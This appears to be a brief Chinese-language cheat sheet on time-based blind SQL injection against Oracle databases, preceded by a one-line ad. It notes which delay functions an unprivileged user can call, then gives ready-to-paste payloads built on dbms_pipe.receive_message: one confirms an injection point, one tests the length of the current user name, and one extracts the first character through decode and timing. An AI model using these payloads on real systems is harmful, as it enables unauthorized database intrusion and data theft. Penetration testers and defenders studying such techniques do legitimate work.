企业🤖AI智能体构建引擎,智能编排和调试,一键部署,支持知识库和私有化部署方案 广告
[TOC] ## 常用的函数 ``` dbms_lock.sleep()函数 ``` 该函数可以让一个过程休眠很多秒,但不能直接讲该函数注入到子查询里,只有数据管理员才能使用 ``` dbms_pipe.receive_message('RDS',10) ``` 该函数将为从RDS管道返回的数据等待10秒,默认情况下允许public权限执行 ## 判断是否存在注入 ~~~ and 1=dbms_pipe.receive_message('RDS',10) --+ ~~~ ## 判断数据的长度 ~~~ and 1=(select decode(length(user),6,dbms_pipe.receive_message('RDS',10),0) from dual) --+ ~~~ ## 利用decode布尔盲注判断第一个字符 ~~~ and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --+ ~~~